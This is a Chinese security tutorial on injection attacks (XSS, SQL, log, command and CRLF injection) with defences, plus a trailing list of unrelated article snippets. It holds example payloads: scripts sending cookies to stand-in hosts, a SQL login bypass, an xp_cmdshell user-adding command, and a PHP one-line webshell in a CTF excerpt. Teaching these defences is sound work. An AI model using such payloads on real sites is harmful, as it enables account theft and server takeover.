注入攻击

对于所有的网络安全问题,从公司的发文来看,结合目前业界发现的所有对网站的攻击方式,基本都可以归类于这三类:

1、防注入;

2、防破解;

3、防范洪;

第一类、注入攻击是最常见的一种攻击,涉及的方式也有很多,例如比较常见的有,脚本注入,sql注入,日志注入,xss等。

第二类、对于破解这一块,主要是加解密,秘钥存储等安全,防破解,防秘钥盗用,

第三类、范洪攻击,也就是ddos攻击,各细分种类也很多,例如cc攻击,资源耗尽攻击等等,

这三大类常见的网络安全问题我将用三期结合公司的安全红线来进行分享,这一期就将第一类常见的网络攻击,注入攻击,常见的注入攻击有以下几类:

  • xss
  • sql注入
  • 日志注入
  • 命令注入
  • CRLF注入

一、xss

1、本质

xss叫跨站脚本攻击,为什么这里会分到注入这一模块呢,因为xss本质就是html注入,用户通过输入一些恶意的脚本代码,然后该用户输入的代码被网站当做html代码来执行,混淆了原来的语义,产生新的语义,从而导致了危害的发生。

2、危害

  • 窃取用户信息,模拟用户身份执行操作,获取用户的 Cookie,获取敏感数据
  • 植入flash,通过corssdomain权限设置进一步获取更高权限,
  • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些例如发微博,加好友发私信等常规操作
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的
    投票活动。
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果

3、类型

1、存储型

恶意脚本被存储在服务器端,当用户访问该网站时,该代码就会被执行

2、反射性

反射型只是简单的把用户的输入反馈给浏览器,让浏览器执行用户的输入,当然这个用户可能输入一些恶意代码,或者被黑客诱导输入恶意代码

**例如:**将恶意脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击恶意链接就可能受到攻击。

3、DOM型

将脚本代码加入URL地址的请求参数里,通过修改页面的DOM节点来形成XSS,其实和反射型XSS是同一类

4、原理

例如有一个论坛网站,攻击者可以在上面发布以下内容:

<script>location.href="//domain.com/?c=" + document.cookie</script>

之后该内容可能会被渲染成以下形式:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。

存储型XSS

Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“<”、">")然后存储到数据库中,当其他人在访问该网站,访问该数据时,例如上个用户提交了携带HTML代码的评论,其他人在访问该评论时,网站将未经转义的恶意代码输出到第三方用户的浏览器解释执行,这就可能导致了XSS攻击。

反射型XSS

举个例子:

接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:
http://127.0.0.1/?name=astaxie,就会在浏览器输出如下信息:
hello astaxie
如果我们传递这样的url:http://127.0.0.1/?name=<script>alert(‘astaxie,xss’)</script>,
这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:
http://127.0.0.1/name=<script>document.location.href=‘http://www.xxx.com/cookie?’+document.cookie</script>,这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?,攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。

DOM型XSS

通过修改页面的DOM节点形成XSS,称之为DOM Based XSS。

5、防范手段

xss防范手段有很多,但对于所有注入攻击的最底线的防范手段就是输入校验,坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。

1. 设置 Cookie 为 HttpOnly

设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。这个属性是设置是否可通过客户端脚本访问这个设置的cookie,第一这个可以防止这个cookie被XSS读取从而引起session劫持,第二cookie设置不会像URL重置方式那么容易获取sessionID。这样cookie只能被本地浏览器在每次访问时携带,不能被任何js脚本读取进行使用。

2. 过滤特殊字符

例如将 < 转义为 &lt;,将 > 转义为 &gt;,从而避免 HTML 和 Jascript 代码的运行。

富文本编辑器允许用户输入 HTML 代码,就不能简单地将 < 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。

富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。

以下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。

<h1 id="title">XSS Demo</h1><p>123</p><form><input type="text" name="q" value="test">
</form><pre>hello</pre><script type="text/javascript">
alert(/xss/);
</script>
------------------------转义---------------------------
<h1>XSS Demo</h1><p>123</p>&lt;form&gt;&lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;<pre>hello</pre>&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

3. 使用HTTP头指定类型

w.Header().Set(“Content-Type”,“text/javascript”)
这样就可以让浏览器解析javascript代码,而不会是html输出。

XSS 过滤在线测试](http://jsxss.com/zh/try.html)

小结

诸如 XSS其实就是js注入,还有sql注入等这些漏洞,都是攻击者构造一些特殊字符,使得产生漏洞被利用,因此对特殊符号的检查就很必要。输入检查的逻辑必须放在服务器端代码中实现,如果只是在前端用js代码对输入进行检查,很容易被攻击者绕过。最常见的做法是在前端和后端都做检查,发现特殊字符就进行过滤或者编码。

注:

​ 对于XSS攻击有很多类,比如cookie劫持、修改DOM节点、识别用户浏览器、甚至用户电脑安装的软件、获取用户真实IP地址、构建GET,POST请求,利用用户的身份做些恶意操作等。但这个前提都是网站有XSS漏洞,黑客发现这个漏洞,通过js注入,使得合法用户在浏览器上运行了这段代码,也就是说要杜绝XSS攻击,就要保证自己的网站没有XSS漏洞,没有js注入的可能性。

二、sql注入

1、概念

sql注入攻击,简称注入攻击,是web常见的一种安全漏洞。可以用它来从数据库中获取敏感信息,或利用数据库添加用户,导出文件等一系类的恶意操作。

主要是因为代码和数据混合,数据直接嵌入到代码中,因为数据往往是用户输入。

2、攻击原理

造成sql注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。

举个例子:

考虑以下简单的登录表单:

代码为:

<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input

在页面的表示效果:

Username:

Password:

我们在后台的处理里面的SQL可能是这样的:

username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+""

如果果用户在上面页面的输入框的输入的用户名如下,密码任意

myuser' or 'foo' == 'foo' --
那么我们的SQL变成了如下所示:

SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'

在SQL里面–是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。

对于MSSQL还有更加危险的一种SQL注入,就是控制系统,下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。

sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
Db.Exec(sql)
如果攻击提交a%' exec master..xp_cmdshell 'net user test testpass /ADD' --作为变量prod
值,那么sql将会变成
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpassMSSQL服务器会执行这条SQL语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而
MSSQLSERVER服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。
虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。针对这
种安全漏洞,只要使用不同方法,各种数据库都有可能遭殃。

3、危害

  • 获取服务器权限
  • 植入webshell,获取服务器后门
  • 读取服务器敏感文件
  • 万能密码

4、防范手段

永远不要信任外界输入的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。

  1. 严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少
    注入攻击对数据库的危害。
  2. 检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用regexp包进行一些匹配处理,
    或者使用strconv包对字符串转化成其他基本类型的数据进行判断。
  3. 对进入数据库的特殊字符(’"\尖括号&*;等)进行转义处理,或编码转换。Go 的text/template包里面的
    HTMLEscapeString函数可以对字符串进行转义处理。
  4. 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入
    到SQL语句中,即不要直接拼接SQL语句。例如使用database/sql里面的查询函数Prepare和Query,或者
    Exec(query string, args …interface{})。
  5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多
    这方面的开源工具,例如sqlmap、SQLninja等。
  6. 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者
    利用这些错误信息进行SQL注入。

三、日志注入

1、 概念

日志注入是用户通过输入一些恶意的数据,然后该输入正好需要被记录到日志中,导致日志格式,信息被破坏

2、危害

在软件开发,特别是网站类的系统开发时,往往需要记录一些日志来做数据分析,问题定和追踪,但如果日志被篡改或者被恶意写入,则给基于日志信息的问题定位,问题排除,用户行为分析等工作带来非常大的干扰,甚至错误的问题导向,危害极大,因此保证日志的安全也是极为重要。

3、常见日志注入

New Line Injection

新行注入,这种方法是最普遍的Log注入方法,用户的输入被记录到日志,而该输入又没有做校验,因此用户可以通过在输入时加上换行符并伪造一个新的记录,该输入在被记录到日志文件后,很容易被当做正常的日志处理,而出现日志伪造,不实信息。

来看下面几行代码

func main() {writeToLog("张三")
}func writeToLog(userName string){Error.Println("Failed logon for user ", userName)
}

上面的代码似乎没有什么问题,正常情况下,当用户张三登陆系统失败时,将记录日志如下:

Error: log.go:34: Failed logon for user  张三

假如张三不怀好意,在用户名一栏里输入了如下的字符:

张三\nError: log.go:56: Failed to delete all files for 李四\nError: log.go:56: Failed to remove user 李四 for 李四

日志将会这样记录:

Error: log.go:34: Failed logon for user  张三
Error: log.go:56: Failed to delete all files for 李四
Error: log.go:56: Failed to remove user 李四 for 李四

当管理员看到上面的日志时肯定会想:李四这家伙,想删掉所有文件,然后再销毁证据。当然这里我们可以根据代码的函数数字判断可能是伪造的,但假如管理员没注意到这个,或者行数就被用户猜对了呢,这危害还是蛮大的。

Sparator Injection

有些人写日志喜欢用一些分隔符来分隔不同的字段,比如用分隔符:|,或者是使用Tab作为分隔符。比如下面的日志:

| Customer     | Number     | Operation     |
| 张三          | 100        | 取钱          |
| 李四          | 800        | 存钱          |

当张三输入的内容为:

10000    | 存钱    |

则日志的结果为:

| Customer     | Number     | Operation     |
| 张三          | 1000       | 存钱           | 取钱    |
| 李四          | 800        | 存钱           |

上面张三的记录中多出来了一列,很容易被管理员发现。但是假如我们的日志系统是由程序自动来读取的话,张三很有可能被认为存入了1000大钞。

Timestamp Injection

时间戳注入,一般我们都会记录每个步骤执行的时间

Abusing Word Wrap

当换行注入被拒绝的时候,还有一种投机的办法,就是不主动换行,使用一些空格或其他符号,导致文字自动换行。这很容易理解,当然,要真正实施起来并且完美无缺确实是很困难的。比如下面被注入的日志:

Failed logon for user 张三 __________________(自动换行)
Failed to delete all files for 李四_____________(自动换行)
Failed to remove user 李四 for 李四

这样的做法可能会觉得很可笑,但确实会很容易迷惑管理员的眼睛。那,有什么办法呢?

  1. 假如是在Windows平台下,使用编辑器打开的话,记得关闭自动换行功能。
  2. 假如在Linux下面呢,在终端显示内容的话,对日志内容进行处理,加上一些自动换行的分隔符号,比如:[CR]。(这样做的话其实也不好,假如用户输入的数据原本就包含了[CR]字符,将很难区分用户输入的数据和分隔符号。对于这个问题,大家支点招吧!)

HTML Injection

有时我们需要将日志中的内容展示在一个网页上,比如我们的监控页面,就是提取日志内容,然后进行分析处理再以一个网页的形式可视化的展示,而操作不当会让黑客通过网页的一些攻击来影响到日志的内容

<table>
<tr><td>Failed logon for user</td></tr>
<tr><td>Failed to delete all files for 李四</td></tr>< /table><script>alert('hacked!');</script><!--</td></tr>
<tr><td></td></tr>
</table>

4、防范手段

永远不要信任外界输入的数据,特别是来自于用户的数据,对于所有需要记入日志的外界输入一律都需要做校验,如果是前后端分离的网站,前后端都需要做校验,过滤特殊字符。

四、命令注入

1、概念

利用可以调用系统命令的web应用,通过构造特殊命令字符串的方式,把恶意代码输入一个编辑域(例如缺乏有效验证的输入框)来改变网页动态生成的内容,最终实现本应在服务端才能工作的系统命令。

2、危害

一个恶意黑客可以利用这种攻击方法来非法获取数据或者网络资源。

一旦存在命令注入漏洞,攻击者就可以在目标系统执行任意命令,这通常意味着服务器被拱手让人。

3、命令注入过程:

1、web应用程序要调用系统命令的函数

2、函数或函数参数可控,是通过前端传入的

3、然后应用程序通过前端拿到参数进行拼接命令,并执行该命令

4、防范手段

  • 不使用时禁用相应函数
  • 尽量不要执行外部的应用程序或命令
  • 做输入的格式检查
  • 转义命令中的所有shell元字符

五、CRLF注入

CRLF实际是两个字符,CR是\r,LF是\n。\r\n这两个字符用于表示换行,其中十六进制分别是0x0d、0x0a。注入CRLF会改变原来的语义这常和日志注入联系在一起,对于CRLF注入比较好处理,只要处理好\n、\r这两个字符就好了。

总结

注入攻击有很多类,除了上面描述的几类,还有注入xml注入,代码注入等,网站风险也多种多样,叫法也丰富多彩,比如什么钓鱼啊,webshell植入啊,网页篡改啊,暗链啊等等,虽然种类繁多,这也没法一一例举,但本质其实都是通过注入攻击实现的,如果一个网站没有被注入的漏洞,这个网站可以说基本就算是比较安全的了,其实大多数黑客都是在尝试找网站的漏洞,通过注入一些恶意代码,网站误执行了这些代码,导致网站大门向别人敞开,就类型与黑客通过各种手段,向网站植入了一个内奸,然后和内奸里应外合,逐步夺取大权。

对于所有的注入攻击,就像上面所有防范手段中都提到的一点,不能相信用户的任何输入,对任何有外界输入的数据都需要做校验,或者就将其打入冷宫,在源头上解决问题,在黑客植入内奸的时候就对内奸进行全面的扫描,只要符合自己规范的字符。而不能模糊匹配。

查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. 2018年TI杯电子设计竞赛感悟

    2018年7月27日,电赛结束已经有三四天的时间了,今年的感悟和去年的相比很是不同。去年大一,刚刚入门单片机,搞点东西也都是瞎搞,没有一个像模像样的作品,即使是有也都是一些次品、半成品。得知学校选拔学生参加全国大学生电子设计竞赛(单数年为国赛、双数年为省赛),才开…...

    2024/4/26 11:47:04
  2. 为什么选择Docker?一文带你鸟瞰容器生态系统,零基础入门Docker

    启程对于像容器这类平台级别的技术,通常涉及的知识范围会很广,相关的软件,解决方案也会很多,初学者往往容易迷失。那怎么办呢?我们可以从生活经验中寻找答案。当我们去陌生城市旅游想了解一下这个城市,一 般我们会怎么做?我想大部分,人应该会打开手机看一下这个城市的地…...

    2024/4/16 15:26:43
  3. 猫眼电影爬虫和数据分析

    由于疫情关系,宅在家里。记录一下作业,猫眼电影爬虫及分析,爬取猫眼电影数据,并对爬取的数据进行分析和展示。 猫眼电影爬虫 基于requests库和lxml库进去猫眼电影TOP100榜电影爬取,爬取地址为:https://maoyan.com/board/4 爬取的信息有:电影名字,主演名字,上映时间以及…...

    2024/4/16 15:27:08
  4. 几行代码实现简单的网络象棋游戏,看看Java大牛是怎么做到的?

    游戏规则:1.将/帅:不能出田字格,不能走斜线,只能前进后退向左向右,每次只走一格;2.士/仕:不能出田字格,只能走斜线,每次只走一格;3.象/相:只能走田字格,中间防止蹩脚,不能有棋;4.马:只能走日,(这个比较麻烦,且看下图标识)5.车:车只能走直线,这个很好理解,…...

    2024/4/19 16:44:06
  5. 搭档之家:押注外太空,亚马逊云计算(AWS)成立航空航天部门

    以下信息由搭档之家收集整理自网络 据6月30日报道,亚马逊云计算(AWS)本周二宣布成立航空航天部门,由退役空军少将Clint Crosier领导,主要提供航天与卫星解决方案,包括火箭发射、载人航天支持、机器人系统等。强劲的云计算实力早已使亚马逊收益颇丰,涉足太空领域将扩大其…...

    2024/4/16 15:26:48
  6. 斯坦福 CS183 系列中文笔记

    欢迎任何人参与和完善:一个人可以走的很快,但是一群人却可以走的更远。在线阅读 ApacheCN 面试求职交流群 724187166 ApacheCN 学习资源目录Zero to One 从0到1 | Tony翻译版Ch1: The Challenge of the Future Ch2: Party like it’s 1999 Ch3: All happy companies are diff…...

    2024/4/20 5:20:44
  7. i春秋CTF训练 Web Do you know upload?

    Web Do you know upload?题目内容:加油吧,少年。 题目链接请在i春秋申请一个简单的文件上传,写个一句话命名为2.jpg,用burpsuit抓包后改为2.php上传成功 <?php @eval($_POST[cmd]);?>返回了上传路径,用蚁剑连接此路径,密码为cmd,可成功连接查看config.php发现数…...

    2024/4/16 15:26:58
  8. eclipse右下角出现 linkng viewer selection with current editor 而且停不掉 导致eclipse很卡

    1.解决办法,我是debug调试的时候出现的,电脑重启都没能解决这个问题,最后按了一下f8 过一会儿就好了...

    2024/4/16 15:27:49
  9. pip安装tsfresh或psutil报错:没有Python.h文件

    1、概述 环境:Centos8+python3.6 安装tsfresh时报错 pip install tsfresh报错很长一段,中间有个“致命错误:Python.h:没有那个文件或目录”发现/usr/include的pythonx.x文件夹中没有Python.h文件 所以出现错误的原因:没有安装python-devel,python开发包 2、解决办法 a、如…...

    2024/4/16 15:28:04
  10. Linux加密框架的算法管理(一)

    算法注册流程静态算法模块初始化-分组算法模块初始化 AES算法模块(aes_generic.c)的初始化接口aes_init实现向加密框架注册AES算法的功能,如下所示。 static int __init aes_init(void) {return crypto_register_alg(&aes_alg); }-哈希算法模块初始化 MD5算法模块(md5.…...

    2024/4/4 21:22:01
  11. 【DVWA】文件上传_全级别

    1.low级别 <?phpif( isset( $_POST[ Upload ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ uploaded ][ name ] );// Can we move the file to the upload …...

    2024/4/18 16:43:18
  12. 力扣 剑指offer 56-I 数组中数字出现的次数 异或位运算

    1、先异或找到不同数字的的区别位然后相与分成2组https://leetcode-cn.com/problems/shu-zu-zhong-shu-zi-chu-xian-de-ci-shu-lcof/solution/zong-he-guan-fang-jie-shi-he-ge-wei-da-lao-jie-shi/2、class Solution { public:vector<int> singleNumbers(vector<int&…...

    2024/4/18 7:20:47
  13. 新手python的自学总结(已拿到百度offer)

    今天给大家分享一个小伙伴自学Python找到工作的文章。先简单介绍一下小伙伴的情况。是非科班出身的,虽然高中读的是理科,但是进入大学学了一个文科专业,之后就再没接触过理工科的东西。对计算机也是一窍不通,大学才刚开始接触电脑,打字保存文件都不会。后来有了自己的电脑…...

    2024/4/18 9:46:25
  14. 在linux下访问laravel框架报错**Warning: require(): open_basedir restriction in effect. File

    在linux下访问laravel框架报错Warning: require(): open_basedir restriction in effect. File** 配置nginx虚拟主机后,访问项目报错先试一下 配置域名或者ip时不要配置到public下,访问时通过———》www.xxx.com/public(访问) 可以访问到: 试试一下解决方法: vim /usr/lo…...

    2024/5/1 7:01:48
  15. 中台架构设计手册

    ...

    2024/4/19 22:45:14
  16. 驱动器阵列和容错方法(不同RAID的区别)

    驱动器阵列和容错方法 驱动器阵列 单个物理(硬盘)驱动器的容量和性能足够家庭用户使用。但是,企业用户需要更大的存储容量、更高的 数据传输速率以及在驱动器发生故障时更有效地防止数据丢失。 将额外的物理驱动器(图中的 Pn)连接到系统可增加总存储容量,但对读取/写入 (…...

    2024/4/16 15:27:34
  17. 二进制安装mysql-5.7-报错

    二进制安装mysql-5.7-报错 error while loading shared libraries: libnuma.so.1: cannot open shared object file: No such file or directory [root@VM_39_7_centos conf]# cd /opt/mysql-5.7.22-linux-glibc2.12-x86_64/ [root@VM_39_7_centos mysql-5.7.22-linux-glibc2.1…...

    2024/4/16 15:26:53
  18. 知乎上这么多推崇学 Python 入 IT 行的,如果他们学完 Python 这一套找不到工作怎么办?

    作者:小伯爵 链接:https://www.zhihu.com/question/60787862/answer/772968750 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。我是自学python转行的,然后两周内找到了工作。我的经验是,转行并不难,没人指导就很难。我在北方读书,二本…...

    2024/4/20 11:25:44
  19. 转行做前端的学习心得,深情交流

    一、Why choose front-end 2015.07毕业后,进了一家游戏公司做运营策划,写过营销方案、做过内容编辑、知道广告投放和换量,还得兼职产品经理画原型。 每天9.30-23.00以后,周末经常加班,像无头苍蝇一样碰撞一年后,我没有任何成就感,我开始思考自己每天做的是什么,将来会做…...

    2024/4/16 15:27:54
  20. 数据分析:互联网、APP中用户IP数据的地理可视化

    数据简介 在当下互联网迅速发展的今天,每时每刻都会产生大量数据 在常见的应用场景中,最常见莫过于IP数据了 IP数据有利于我们统计用户的来源,使我们更好的进行业务,细分应用场景等 在互联网背景下这些用户数据有着重要的价值 那么我们怎么样来处理这些IP数据呢? IP地址的…...

    2024/4/16 15:27:39

最新文章

  1. 【笔记】Python3|2024年 PDF 转 XML 或 HTML 的第三方库的使用方式、测评过程以及对比结果(汇总)

    文章目录 PDF2HTML_Samples1 测评过程2 评估方式3 结果说明4 测评列表 PDF2HTML_Samples 目的是对比一下常用的 PDF 转 HTML/XML 的工具。 整个对比过程放在了 Github 仓库中&#xff0c; 欢迎提交 PR/Issue 补充更多工具&#xff1a;https://github.com/shandianchengzi/PDF…...

    2024/5/3 10:08:04
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言&#xff0c;在此感激不尽。 权重和梯度的更新公式如下&#xff1a; w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

    2024/3/20 10:50:27
  3. 解决npm install安装node-sass包容易失败的问题

    具体问题如下&#xff1a; npm ERR! code ERESOLVE npm ERR! ERESOLVE unable to resolve dependency tree npm ERR! npm ERR! While resolving: XXX3.4.0 npm ERR! Found: webpack5.31.2 npm ERR! node_modules/webpack npm ERR! peer webpack”^4.0.0 || ^5.0.0″ from html-…...

    2024/5/2 18:30:38
  4. OpenHarmony开发-连接开发板调试应用

    在 OpenHarmony 开发过程中&#xff0c;连接开发板进行应用调试是一个关键步骤&#xff0c;只有在真实的硬件环境下&#xff0c;我们才能测试出应用更多的潜在问题&#xff0c;以便后续我们进行优化。本文详细介绍了连接开发板调试 OpenHarmony 应用的操作步骤。 首先&#xf…...

    2024/5/1 13:12:16
  5. 【外汇早评】美通胀数据走低,美元调整

    原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...

    2024/5/1 17:30:59
  6. 【原油贵金属周评】原油多头拥挤,价格调整

    原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...

    2024/5/2 16:16:39
  7. 【外汇周评】靓丽非农不及疲软通胀影响

    原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...

    2024/4/29 2:29:43
  8. 【原油贵金属早评】库存继续增加,油价收跌

    原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...

    2024/5/2 9:28:15
  9. 【外汇早评】日本央行会议纪要不改日元强势

    原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...

    2024/4/27 17:58:04
  10. 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响

    原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...

    2024/4/27 14:22:49
  11. 【外汇早评】美欲与伊朗重谈协议

    原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...

    2024/4/28 1:28:33
  12. 【原油贵金属早评】波动率飙升,市场情绪动荡

    原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...

    2024/4/30 9:43:09
  13. 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试

    原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...

    2024/4/27 17:59:30
  14. 【原油贵金属早评】市场情绪继续恶化,黄金上破

    原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...

    2024/5/2 15:04:34
  15. 【外汇早评】美伊僵持,风险情绪继续升温

    原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...

    2024/4/28 1:34:08
  16. 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势

    原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...

    2024/4/26 19:03:37
  17. 氧生福地 玩美北湖(上)——为时光守候两千年

    原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...

    2024/4/29 20:46:55
  18. 氧生福地 玩美北湖(中)——永春梯田里的美与鲜

    原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...

    2024/4/30 22:21:04
  19. 氧生福地 玩美北湖(下)——奔跑吧骚年!

    原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...

    2024/5/1 4:32:01
  20. 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!

    原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...

    2024/4/27 23:24:42
  21. 「发现」铁皮石斛仙草之神奇功效用于医用面膜

    原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...

    2024/4/28 5:48:52
  22. 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者

